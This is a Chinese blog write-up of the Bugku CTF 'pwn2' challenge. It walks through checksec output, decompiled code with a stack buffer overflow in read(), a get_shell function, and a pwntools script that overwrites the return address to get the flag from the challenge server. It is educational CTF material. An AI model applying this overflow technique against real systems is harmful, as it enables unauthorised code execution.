bugku中pwn2的write up

原创

darui_csdn 于 2019-09-06 08:43:30 发布 226 收藏 3

分类专栏： write up 文章标签： bugku pwn2

本文链接：https://blog.csdn.net/darui_csdn/article/details/100571965

bugku中pwn2的write up

作为一个初出茅庐的菜鸟，做几个简单的pwn题练一下，正好学一下基础知识。

首先来看这道题，checksec一下，我们发现，没有打开什么保护。

```
lexi@ubuntu:~/pwn_easy$ checksec pwn2
[*] '/home/lexi/pwn_easy/pwn2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
```

运行一下，看看需要在哪里插入payload。

```
lexi@ubuntu:~/pwn_easy$ ./pwn2
say something?
1
oh,that's so boring!
```

注意这里需要先赋予运行权限，笔者作为新手犯了几次错误。

```
lexi@ubuntu:~/pwn_easy$ chmod 777 pwn2
```

把程序放进IDA中看一下套路流程。

```
1  int __cdecl main(int argc, const char **argv, const char **envp)
2  {
3    char s; // [rsp+0h] [rbp-30h]
4
5    memset(&s, 0, 0x30uLL);
6    setvbuf(stdout, 0LL, 2, 0LL);
7    setvbuf(stdin, 0LL, 1, 0LL);
8    puts("say something?");
9    read(0, &s, 0x100uLL);
0    puts("oh,that's so boring!");
1    return 0;
2  }
```

我们在read函数这里可以使程序溢出。也看到ebp的位置，偏移量为0x30。
很明显地发现了得到flag的函数：


```
.text:0000000000400751 get_shell_      proc near
.text:0000000000400751 ; __unwind {
.text:0000000000400751                 push    rbp
.text:0000000000400752                 mov     rbp, rsp
.text:0000000000400755                 mov     edi, offset aTqlTqlTqlTqlTq ; "tql~tql~tql~tql~tql~tql~tql"
.text:000000000040075A                 call    _puts
.text:000000000040075F                 mov     edi, offset aThisIsYourFlag ; "this is your flag!"
.text:0000000000400764                 call    _puts
.text:0000000000400769                 mov     edi, offset command ; "cat flag"
.text:000000000040076E                 call    _system
.text:0000000000400773                 nop
.text:0000000000400774                 pop     rbp
.text:0000000000400775                 retn
.text:0000000000400775 ; } // starts at 400751
```


得到地址0x0000000000400751。
开始构造exp。

```
from pwn import *
p = remote("114.116.54.89","10003")
p.recvuntil("?")
payload=0x30*'a'+8*'a'+p64(0x0000000000400751)
p.sendline(payload)
p.interactive()
```

注：这里的8*'a'是用来覆盖ebp的。
最后效果如下：

```
lexi@ubuntu:~/pwn_easy$ python pwn2.py
[+] Opening connection to 114.116.54.89 on port 10003: Done
[*] Switching to interactive mode

oh,that's so boring!
tql~tql~tql~tql~tql~tql~tql
this is your flag!
flag{n0w_y0u_kn0w_the_Stack0verfl0w}[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 114.116.54.89 port 10003
```


这道题目属于比较简单的栈溢出。